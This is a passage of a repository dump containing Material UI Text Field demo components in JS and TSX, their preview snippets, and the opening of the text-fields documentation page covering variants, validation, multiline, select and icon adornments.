pointerEvents: 'none',\n                  [`.${filledInputClasses.root} &`]: {\n                    marginBottom: '7.5px',\n                  },\n                  [`[data-shrink=true] ~ .${inputBaseClasses.root} > &`]: {\n                    opacity: 1,\n                  },\n                }}\n              >\n                days\n              </InputAdornment>\n            ),\n          },\n        }}\n      />\n      <TextField\n        id=\"standard-suffix-shrink\"\n        label=\"Standard\"\n        variant=\"standard\"\n        slotProps={{\n          htmlInput: {\n            sx: { textAlign: 'right' },\n          },\n          input: {\n            endAdornment: (\n              <InputAdornment\n                position=\"end\"\n                sx={{\n                  alignSelf: 'flex-end',\n                  margin: 0,\n                  marginBottom: '5px',\n                  opacity: 0,\n                  pointerEvents: 'none',\n                  [`[data-shrink=true] ~ .${inputBaseClasses.root} > &`]: {\n                    opacity: 1,\n                  },\n                }}\n              >\n                @gmail.com\n              </InputAdornment>\n            ),\n          },\n        }}\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/InputWithIcon.js",
    "content": "import Box from '@mui/material/Box';\nimport Input from '@mui/material/Input';\nimport InputLabel from '@mui/material/InputLabel';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport FormControl from '@mui/material/FormControl';\nimport TextField from '@mui/material/TextField';\nimport AccountCircle from '@mui/icons-material/AccountCircle';\n\nexport default function InputWithIcon() {\n  return (\n    <Box sx={{ '& > :not(style)': { m: 1 } }}>\n      <FormControl variant=\"standard\">\n        <InputLabel htmlFor=\"input-with-icon-adornment\">\n          With a start adornment\n        </InputLabel>\n        <Input\n          id=\"input-with-icon-adornment\"\n          startAdornment={\n            <InputAdornment position=\"start\">\n              <AccountCircle />\n            </InputAdornment>\n          }\n        />\n      </FormControl>\n      <TextField\n        id=\"input-with-icon-textfield\"\n        label=\"TextField\"\n        slotProps={{\n          input: {\n            startAdornment: (\n              <InputAdornment position=\"start\">\n                <AccountCircle />\n              </InputAdornment>\n            ),\n          },\n        }}\n        variant=\"standard\"\n      />\n      <Box sx={{ display: 'flex', alignItems: 'flex-end' }}>\n        <AccountCircle sx={{ color: 'action.active', mr: 1, my: 0.5 }} />\n        <TextField id=\"input-with-sx\" label=\"With sx\" variant=\"standard\" />\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/InputWithIcon.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Input from '@mui/material/Input';\nimport InputLabel from '@mui/material/InputLabel';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport FormControl from '@mui/material/FormControl';\nimport TextField from '@mui/material/TextField';\nimport AccountCircle from '@mui/icons-material/AccountCircle';\n\nexport default function InputWithIcon() {\n  return (\n    <Box sx={{ '& > :not(style)': { m: 1 } }}>\n      <FormControl variant=\"standard\">\n        <InputLabel htmlFor=\"input-with-icon-adornment\">\n          With a start adornment\n        </InputLabel>\n        <Input\n          id=\"input-with-icon-adornment\"\n          startAdornment={\n            <InputAdornment position=\"start\">\n              <AccountCircle />\n            </InputAdornment>\n          }\n        />\n      </FormControl>\n      <TextField\n        id=\"input-with-icon-textfield\"\n        label=\"TextField\"\n        slotProps={{\n          input: {\n            startAdornment: (\n              <InputAdornment position=\"start\">\n                <AccountCircle />\n              </InputAdornment>\n            ),\n          },\n        }}\n        variant=\"standard\"\n      />\n      <Box sx={{ display: 'flex', alignItems: 'flex-end' }}>\n        <AccountCircle sx={{ color: 'action.active', mr: 1, my: 0.5 }} />\n        <TextField id=\"input-with-sx\" label=\"With sx\" variant=\"standard\" />\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/Inputs.js",
    "content": "import Box from '@mui/material/Box';\nimport Input from '@mui/material/Input';\n\nconst ariaLabel = { 'aria-label': 'description' };\n\nexport default function Inputs() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1 } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <Input defaultValue=\"Hello world\" inputProps={ariaLabel} />\n      <Input placeholder=\"Placeholder\" inputProps={ariaLabel} />\n      <Input disabled defaultValue=\"Disabled\" inputProps={ariaLabel} />\n      <Input defaultValue=\"Error\" error inputProps={ariaLabel} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/Inputs.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Input from '@mui/material/Input';\n\nconst ariaLabel = { 'aria-label': 'description' };\n\nexport default function Inputs() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1 } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <Input defaultValue=\"Hello world\" inputProps={ariaLabel} />\n      <Input placeholder=\"Placeholder\" inputProps={ariaLabel} />\n      <Input disabled defaultValue=\"Disabled\" inputProps={ariaLabel} />\n      <Input defaultValue=\"Error\" error inputProps={ariaLabel} />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/Inputs.tsx.preview",
    "content": "<Input defaultValue=\"Hello world\" inputProps={ariaLabel} />\n<Input placeholder=\"Placeholder\" inputProps={ariaLabel} />\n<Input disabled defaultValue=\"Disabled\" inputProps={ariaLabel} />\n<Input defaultValue=\"Error\" error inputProps={ariaLabel} />"
  },
  {
    "path": "docs/data/material/components/text-fields/LayoutTextFields.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nfunction RedBar() {\n  return (\n    <Box\n      sx={(theme) => ({\n        height: 20,\n        backgroundColor: 'rgba(255, 0, 0, 0.1)',\n        ...theme.applyStyles('dark', {\n          backgroundColor: 'rgb(255 132 132 / 25%)',\n        }),\n      })}\n    />\n  );\n}\n\nexport default function LayoutTextFields() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        '& .MuiTextField-root': { width: '25ch' },\n      }}\n    >\n      <RedBar />\n      <TextField label={'margin=\"none\"'} id=\"margin-none\" />\n      <RedBar />\n      <TextField label={'margin=\"dense\"'} id=\"margin-dense\" margin=\"dense\" />\n      <RedBar />\n      <TextField label={'margin=\"normal\"'} id=\"margin-normal\" margin=\"normal\" />\n      <RedBar />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/LayoutTextFields.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nfunction RedBar() {\n  return (\n    <Box\n      sx={(theme) => ({\n        height: 20,\n        backgroundColor: 'rgba(255, 0, 0, 0.1)',\n        ...theme.applyStyles('dark', {\n          backgroundColor: 'rgb(255 132 132 / 25%)',\n        }),\n      })}\n    />\n  );\n}\n\nexport default function LayoutTextFields() {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'column',\n        '& .MuiTextField-root': { width: '25ch' },\n      }}\n    >\n      <RedBar />\n      <TextField label={'margin=\"none\"'} id=\"margin-none\" />\n      <RedBar />\n      <TextField label={'margin=\"dense\"'} id=\"margin-dense\" margin=\"dense\" />\n      <RedBar />\n      <TextField label={'margin=\"normal\"'} id=\"margin-normal\" margin=\"normal\" />\n      <RedBar />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/LayoutTextFields.tsx.preview",
    "content": "<RedBar />\n<TextField label={'margin=\"none\"'} id=\"margin-none\" />\n<RedBar />\n<TextField label={'margin=\"dense\"'} id=\"margin-dense\" margin=\"dense\" />\n<RedBar />\n<TextField label={'margin=\"normal\"'} id=\"margin-normal\" margin=\"normal\" />\n<RedBar />"
  },
  {
    "path": "docs/data/material/components/text-fields/MultilineTextFields.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function MultilineTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          id=\"outlined-multiline-flexible\"\n          label=\"Multiline\"\n          multiline\n          maxRows={4}\n        />\n        <TextField\n          id=\"outlined-textarea\"\n          label=\"Multiline Placeholder\"\n          placeholder=\"Placeholder\"\n          multiline\n        />\n        <TextField\n          id=\"outlined-multiline-static\"\n          label=\"Multiline\"\n          multiline\n          rows={4}\n          defaultValue=\"Default Value\"\n        />\n      </div>\n      <div>\n        <TextField\n          id=\"filled-multiline-flexible\"\n          label=\"Multiline\"\n          multiline\n          maxRows={4}\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-textarea\"\n          label=\"Multiline Placeholder\"\n          placeholder=\"Placeholder\"\n          multiline\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-multiline-static\"\n          label=\"Multiline\"\n          multiline\n          rows={4}\n          defaultValue=\"Default Value\"\n          variant=\"filled\"\n        />\n      </div>\n      <div>\n        <TextField\n          id=\"standard-multiline-flexible\"\n          label=\"Multiline\"\n          multiline\n          maxRows={4}\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-textarea\"\n          label=\"Multiline Placeholder\"\n          placeholder=\"Placeholder\"\n          multiline\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-multiline-static\"\n          label=\"Multiline\"\n          multiline\n          rows={4}\n          defaultValue=\"Default Value\"\n          variant=\"standard\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/MultilineTextFields.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function MultilineTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          id=\"outlined-multiline-flexible\"\n          label=\"Multiline\"\n          multiline\n          maxRows={4}\n        />\n        <TextField\n          id=\"outlined-textarea\"\n          label=\"Multiline Placeholder\"\n          placeholder=\"Placeholder\"\n          multiline\n        />\n        <TextField\n          id=\"outlined-multiline-static\"\n          label=\"Multiline\"\n          multiline\n          rows={4}\n          defaultValue=\"Default Value\"\n        />\n      </div>\n      <div>\n        <TextField\n          id=\"filled-multiline-flexible\"\n          label=\"Multiline\"\n          multiline\n          maxRows={4}\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-textarea\"\n          label=\"Multiline Placeholder\"\n          placeholder=\"Placeholder\"\n          multiline\n          variant=\"filled\"\n        />\n        <TextField\n          id=\"filled-multiline-static\"\n          label=\"Multiline\"\n          multiline\n          rows={4}\n          defaultValue=\"Default Value\"\n          variant=\"filled\"\n        />\n      </div>\n      <div>\n        <TextField\n          id=\"standard-multiline-flexible\"\n          label=\"Multiline\"\n          multiline\n          maxRows={4}\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-textarea\"\n          label=\"Multiline Placeholder\"\n          placeholder=\"Placeholder\"\n          multiline\n          variant=\"standard\"\n        />\n        <TextField\n          id=\"standard-multiline-static\"\n          label=\"Multiline\"\n          multiline\n          rows={4}\n          defaultValue=\"Default Value\"\n          variant=\"standard\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/SelectTextFields.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\nimport MenuItem from '@mui/material/MenuItem';\n\nconst currencies = [\n  {\n    value: 'USD',\n    label: '$',\n  },\n  {\n    value: 'EUR',\n    label: '€',\n  },\n  {\n    value: 'BTC',\n    label: '฿',\n  },\n  {\n    value: 'JPY',\n    label: '¥',\n  },\n];\n\nexport default function SelectTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          id=\"outlined-select-currency\"\n          select\n          label=\"Select\"\n          defaultValue=\"EUR\"\n          helperText=\"Please select your currency\"\n        >\n          {currencies.map((option) => (\n            <MenuItem key={option.value} value={option.value}>\n              {option.label}\n            </MenuItem>\n          ))}\n        </TextField>\n        <TextField\n          id=\"outlined-select-currency-native\"\n          select\n          label=\"Native select\"\n          defaultValue=\"EUR\"\n          slotProps={{\n            select: {\n              native: true,\n            },\n          }}\n          helperText=\"Please select your currency\"\n        >\n          {currencies.map((option) => (\n            <option key={option.value} value={option.value}>\n              {option.label}\n            </option>\n          ))}\n        </TextField>\n      </div>\n      <div>\n        <TextField\n          id=\"filled-select-currency\"\n          select\n          label=\"Select\"\n          defaultValue=\"EUR\"\n          helperText=\"Please select your currency\"\n          variant=\"filled\"\n        >\n          {currencies.map((option) => (\n            <MenuItem key={option.value} value={option.value}>\n              {option.label}\n            </MenuItem>\n          ))}\n        </TextField>\n        <TextField\n          id=\"filled-select-currency-native\"\n          select\n          label=\"Native select\"\n          defaultValue=\"EUR\"\n          slotProps={{\n            select: {\n              native: true,\n            },\n          }}\n          helperText=\"Please select your currency\"\n          variant=\"filled\"\n        >\n          {currencies.map((option) => (\n            <option key={option.value} value={option.value}>\n              {option.label}\n            </option>\n          ))}\n        </TextField>\n      </div>\n      <div>\n        <TextField\n          id=\"standard-select-currency\"\n          select\n          label=\"Select\"\n          defaultValue=\"EUR\"\n          helperText=\"Please select your currency\"\n          variant=\"standard\"\n        >\n          {currencies.map((option) => (\n            <MenuItem key={option.value} value={option.value}>\n              {option.label}\n            </MenuItem>\n          ))}\n        </TextField>\n        <TextField\n          id=\"standard-select-currency-native\"\n          select\n          label=\"Native select\"\n          defaultValue=\"EUR\"\n          slotProps={{\n            select: {\n              native: true,\n            },\n          }}\n          helperText=\"Please select your currency\"\n          variant=\"standard\"\n        >\n          {currencies.map((option) => (\n            <option key={option.value} value={option.value}>\n              {option.label}\n            </option>\n          ))}\n        </TextField>\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/SelectTextFields.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\nimport MenuItem from '@mui/material/MenuItem';\n\nconst currencies = [\n  {\n    value: 'USD',\n    label: '$',\n  },\n  {\n    value: 'EUR',\n    label: '€',\n  },\n  {\n    value: 'BTC',\n    label: '฿',\n  },\n  {\n    value: 'JPY',\n    label: '¥',\n  },\n];\n\nexport default function SelectTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          id=\"outlined-select-currency\"\n          select\n          label=\"Select\"\n          defaultValue=\"EUR\"\n          helperText=\"Please select your currency\"\n        >\n          {currencies.map((option) => (\n            <MenuItem key={option.value} value={option.value}>\n              {option.label}\n            </MenuItem>\n          ))}\n        </TextField>\n        <TextField\n          id=\"outlined-select-currency-native\"\n          select\n          label=\"Native select\"\n          defaultValue=\"EUR\"\n          slotProps={{\n            select: {\n              native: true,\n            },\n          }}\n          helperText=\"Please select your currency\"\n        >\n          {currencies.map((option) => (\n            <option key={option.value} value={option.value}>\n              {option.label}\n            </option>\n          ))}\n        </TextField>\n      </div>\n      <div>\n        <TextField\n          id=\"filled-select-currency\"\n          select\n          label=\"Select\"\n          defaultValue=\"EUR\"\n          helperText=\"Please select your currency\"\n          variant=\"filled\"\n        >\n          {currencies.map((option) => (\n            <MenuItem key={option.value} value={option.value}>\n              {option.label}\n            </MenuItem>\n          ))}\n        </TextField>\n        <TextField\n          id=\"filled-select-currency-native\"\n          select\n          label=\"Native select\"\n          defaultValue=\"EUR\"\n          slotProps={{\n            select: {\n              native: true,\n            },\n          }}\n          helperText=\"Please select your currency\"\n          variant=\"filled\"\n        >\n          {currencies.map((option) => (\n            <option key={option.value} value={option.value}>\n              {option.label}\n            </option>\n          ))}\n        </TextField>\n      </div>\n      <div>\n        <TextField\n          id=\"standard-select-currency\"\n          select\n          label=\"Select\"\n          defaultValue=\"EUR\"\n          helperText=\"Please select your currency\"\n          variant=\"standard\"\n        >\n          {currencies.map((option) => (\n            <MenuItem key={option.value} value={option.value}>\n              {option.label}\n            </MenuItem>\n          ))}\n        </TextField>\n        <TextField\n          id=\"standard-select-currency-native\"\n          select\n          label=\"Native select\"\n          defaultValue=\"EUR\"\n          slotProps={{\n            select: {\n              native: true,\n            },\n          }}\n          helperText=\"Please select your currency\"\n          variant=\"standard\"\n        >\n          {currencies.map((option) => (\n            <option key={option.value} value={option.value}>\n              {option.label}\n            </option>\n          ))}\n        </TextField>\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/StateTextFields.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function StateTextFields() {\n  const [name, setName] = React.useState('Cat in the Hat');\n\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField\n        id=\"outlined-controlled\"\n        label=\"Controlled\"\n        value={name}\n        onChange={(event) => {\n          setName(event.target.value);\n        }}\n      />\n      <TextField\n        id=\"outlined-uncontrolled\"\n        label=\"Uncontrolled\"\n        defaultValue=\"foo\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/StateTextFields.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function StateTextFields() {\n  const [name, setName] = React.useState('Cat in the Hat');\n\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& > :not(style)': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField\n        id=\"outlined-controlled\"\n        label=\"Controlled\"\n        value={name}\n        onChange={(event: React.ChangeEvent<HTMLInputElement>) => {\n          setName(event.target.value);\n        }}\n      />\n      <TextField\n        id=\"outlined-uncontrolled\"\n        label=\"Uncontrolled\"\n        defaultValue=\"foo\"\n      />\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/StateTextFields.tsx.preview",
    "content": "<TextField\n  id=\"outlined-controlled\"\n  label=\"Controlled\"\n  value={name}\n  onChange={(event: React.ChangeEvent<HTMLInputElement>) => {\n    setName(event.target.value);\n  }}\n/>\n<TextField\n  id=\"outlined-uncontrolled\"\n  label=\"Uncontrolled\"\n  defaultValue=\"foo\"\n/>"
  },
  {
    "path": "docs/data/material/components/text-fields/TextFieldHiddenLabel.js",
    "content": "import Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\n\nexport default function TextFieldHiddenLabel() {\n  return (\n    <Stack\n      component=\"form\"\n      sx={{ width: '25ch' }}\n      spacing={2}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField\n        hiddenLabel\n        id=\"filled-hidden-label-small\"\n        defaultValue=\"Small\"\n        variant=\"filled\"\n        size=\"small\"\n      />\n      <TextField\n        hiddenLabel\n        id=\"filled-hidden-label-normal\"\n        defaultValue=\"Normal\"\n        variant=\"filled\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/TextFieldHiddenLabel.tsx",
    "content": "import Stack from '@mui/material/Stack';\nimport TextField from '@mui/material/TextField';\n\nexport default function TextFieldHiddenLabel() {\n  return (\n    <Stack\n      component=\"form\"\n      sx={{ width: '25ch' }}\n      spacing={2}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <TextField\n        hiddenLabel\n        id=\"filled-hidden-label-small\"\n        defaultValue=\"Small\"\n        variant=\"filled\"\n        size=\"small\"\n      />\n      <TextField\n        hiddenLabel\n        id=\"filled-hidden-label-normal\"\n        defaultValue=\"Normal\"\n        variant=\"filled\"\n      />\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/TextFieldHiddenLabel.tsx.preview",
    "content": "<TextField\n  hiddenLabel\n  id=\"filled-hidden-label-small\"\n  defaultValue=\"Small\"\n  variant=\"filled\"\n  size=\"small\"\n/>\n<TextField\n  hiddenLabel\n  id=\"filled-hidden-label-normal\"\n  defaultValue=\"Normal\"\n  variant=\"filled\"\n/>"
  },
  {
    "path": "docs/data/material/components/text-fields/TextFieldSizes.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function TextFieldSizes() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          label=\"Size\"\n          id=\"outlined-size-small\"\n          defaultValue=\"Small\"\n          size=\"small\"\n        />\n        <TextField label=\"Size\" id=\"outlined-size-normal\" defaultValue=\"Normal\" />\n      </div>\n      <div>\n        <TextField\n          label=\"Size\"\n          id=\"filled-size-small\"\n          defaultValue=\"Small\"\n          variant=\"filled\"\n          size=\"small\"\n        />\n        <TextField\n          label=\"Size\"\n          id=\"filled-size-normal\"\n          defaultValue=\"Normal\"\n          variant=\"filled\"\n        />\n      </div>\n      <div>\n        <TextField\n          label=\"Size\"\n          id=\"standard-size-small\"\n          defaultValue=\"Small\"\n          size=\"small\"\n          variant=\"standard\"\n        />\n        <TextField\n          label=\"Size\"\n          id=\"standard-size-normal\"\n          defaultValue=\"Normal\"\n          variant=\"standard\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/TextFieldSizes.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function TextFieldSizes() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          label=\"Size\"\n          id=\"outlined-size-small\"\n          defaultValue=\"Small\"\n          size=\"small\"\n        />\n        <TextField label=\"Size\" id=\"outlined-size-normal\" defaultValue=\"Normal\" />\n      </div>\n      <div>\n        <TextField\n          label=\"Size\"\n          id=\"filled-size-small\"\n          defaultValue=\"Small\"\n          variant=\"filled\"\n          size=\"small\"\n        />\n        <TextField\n          label=\"Size\"\n          id=\"filled-size-normal\"\n          defaultValue=\"Normal\"\n          variant=\"filled\"\n        />\n      </div>\n      <div>\n        <TextField\n          label=\"Size\"\n          id=\"standard-size-small\"\n          defaultValue=\"Small\"\n          size=\"small\"\n          variant=\"standard\"\n        />\n        <TextField\n          label=\"Size\"\n          id=\"standard-size-normal\"\n          defaultValue=\"Normal\"\n          variant=\"standard\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/UseFormControl.js",
    "content": "import * as React from 'react';\nimport FormControl, { useFormControl } from '@mui/material/FormControl';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport FormHelperText from '@mui/material/FormHelperText';\n\nfunction MyFormHelperText() {\n  const { focused } = useFormControl() || {};\n\n  const helperText = React.useMemo(() => {\n    if (focused) {\n      return 'This field is being focused';\n    }\n\n    return 'Helper text';\n  }, [focused]);\n\n  return <FormHelperText>{helperText}</FormHelperText>;\n}\n\nexport default function UseFormControl() {\n  return (\n    <form noValidate autoComplete=\"off\">\n      <FormControl sx={{ width: '25ch' }}>\n        <OutlinedInput placeholder=\"Please enter text\" />\n        <MyFormHelperText />\n      </FormControl>\n    </form>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/UseFormControl.tsx",
    "content": "import * as React from 'react';\nimport FormControl, { useFormControl } from '@mui/material/FormControl';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport FormHelperText from '@mui/material/FormHelperText';\n\nfunction MyFormHelperText() {\n  const { focused } = useFormControl() || {};\n\n  const helperText = React.useMemo(() => {\n    if (focused) {\n      return 'This field is being focused';\n    }\n\n    return 'Helper text';\n  }, [focused]);\n\n  return <FormHelperText>{helperText}</FormHelperText>;\n}\n\nexport default function UseFormControl() {\n  return (\n    <form noValidate autoComplete=\"off\">\n      <FormControl sx={{ width: '25ch' }}>\n        <OutlinedInput placeholder=\"Please enter text\" />\n        <MyFormHelperText />\n      </FormControl>\n    </form>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/UseFormControl.tsx.preview",
    "content": "<form noValidate autoComplete=\"off\">\n  <FormControl sx={{ width: '25ch' }}>\n    <OutlinedInput placeholder=\"Please enter text\" />\n    <MyFormHelperText />\n  </FormControl>\n</form>"
  },
  {
    "path": "docs/data/material/components/text-fields/ValidationTextFields.js",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function ValidationTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          error\n          id=\"outlined-error\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n        />\n        <TextField\n          error\n          id=\"outlined-error-helper-text\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          helperText=\"Incorrect entry.\"\n        />\n      </div>\n      <div>\n        <TextField\n          error\n          id=\"filled-error\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          variant=\"filled\"\n        />\n        <TextField\n          error\n          id=\"filled-error-helper-text\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          helperText=\"Incorrect entry.\"\n          variant=\"filled\"\n        />\n      </div>\n      <div>\n        <TextField\n          error\n          id=\"standard-error\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          variant=\"standard\"\n        />\n        <TextField\n          error\n          id=\"standard-error-helper-text\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          helperText=\"Incorrect entry.\"\n          variant=\"standard\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/ValidationTextFields.tsx",
    "content": "import Box from '@mui/material/Box';\nimport TextField from '@mui/material/TextField';\n\nexport default function ValidationTextFields() {\n  return (\n    <Box\n      component=\"form\"\n      sx={{ '& .MuiTextField-root': { m: 1, width: '25ch' } }}\n      noValidate\n      autoComplete=\"off\"\n    >\n      <div>\n        <TextField\n          error\n          id=\"outlined-error\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n        />\n        <TextField\n          error\n          id=\"outlined-error-helper-text\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          helperText=\"Incorrect entry.\"\n        />\n      </div>\n      <div>\n        <TextField\n          error\n          id=\"filled-error\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          variant=\"filled\"\n        />\n        <TextField\n          error\n          id=\"filled-error-helper-text\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          helperText=\"Incorrect entry.\"\n          variant=\"filled\"\n        />\n      </div>\n      <div>\n        <TextField\n          error\n          id=\"standard-error\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          variant=\"standard\"\n        />\n        <TextField\n          error\n          id=\"standard-error-helper-text\"\n          label=\"Error\"\n          defaultValue=\"Hello World\"\n          helperText=\"Incorrect entry.\"\n          variant=\"standard\"\n        />\n      </div>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/text-fields/text-fields.md",
    "content": "---\nproductId: material-ui\ntitle: React Text Field component\ncomponents: FilledInput, FormControl, FormHelperText, Input, InputAdornment, InputBase, InputLabel, OutlinedInput, TextField\ngithubLabel: 'scope: text field'\nmaterialDesign: https://m2.material.io/components/text-fields\ngithubSource: packages/mui-material/src/TextField\n---\n\n# Text Field\n\n<p class=\"description\">Text Fields let users enter and edit text.</p>\n\nText fields allow users to enter text into a UI. They typically appear in forms and dialogs.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic TextField\n\nThe `TextField` wrapper component is a complete form control including a label, input, and help text.\nIt comes with three variants: outlined (default), filled, and standard.\n\n{{\"demo\": \"BasicTextFields.js\"}}\n\n:::info\nThe standard variant of the Text Field is no longer documented in the [Material Design guidelines](https://m2.material.io/)\n([this article explains why](https://medium.com/google-design/the-evolution-of-material-designs-text-fields-603688b3fe03)),\nbut Material UI will continue to support it.\n:::\n\n## Form props\n\nStandard form attributes are supported, for example `required`, `disabled`, `type`, etc. as well as a `helperText` which is used to give context about a field's input, such as how the input will be used.\n\n{{\"demo\": \"FormPropsTextFields.js\"}}\n\n## Controlling the HTML input\n\nUse `slotProps.htmlInput` to pass attributes to the underlying `<input>` element.\n\n```jsx\n<TextField slotProps={{ htmlInput: { 'data-testid': '…' } }} />\n```\n\nThe rendered HTML input will look like this:\n\n```html\n<input\n  aria-invalid=\"false\"\n  class=\"MuiInputBase-input MuiOutlinedInput-input\"\n  type=\"text\"\n  data-testid=\"…\"\n/>\n```\n\n:::warning\n`slotProps.htmlInput` is not the same as `slotProps.input`.\n`slotProps.input` refers to the React `<Input />` component that's rendered based on the specified variant prop.\n`slotProps.htmlInput` refers to the HTML `<input>` element rendered within that Input component, regardless of the variant.\n:::\n\n## Validation\n\nThe `error` prop toggles the error state.\nThe `helperText` prop can then be used to provide feedback to the user about the error.\n\n{{\"demo\": \"ValidationTextFields.js\"}}\n\n## Multiline\n\nThe `multiline` prop transforms the Text Field into a [Textarea Autosize](/material-ui/react-textarea-autosize/) element.\nUnless the `rows` prop is set, the height of the text field dynamically matches its content.\nYou can use the `minRows` and `maxRows` props to bound it.\n\n{{\"demo\": \"MultilineTextFields.js\"}}\n\n## Select\n\nThe `select` prop makes the text field use the [Select](/material-ui/react-select/) component internally.\n\n{{\"demo\": \"SelectTextFields.js\"}}\n\n## Icons\n\nThere are multiple ways to display an icon with a text field.\n\n{{\"demo\": \"InputWithIcon.js\"}}\n\n### Input Adornments\n\nThe main way is with an `InputAdornment`.\nThis can be used to add a prefix, a suffix, or an action to an input.\nFor 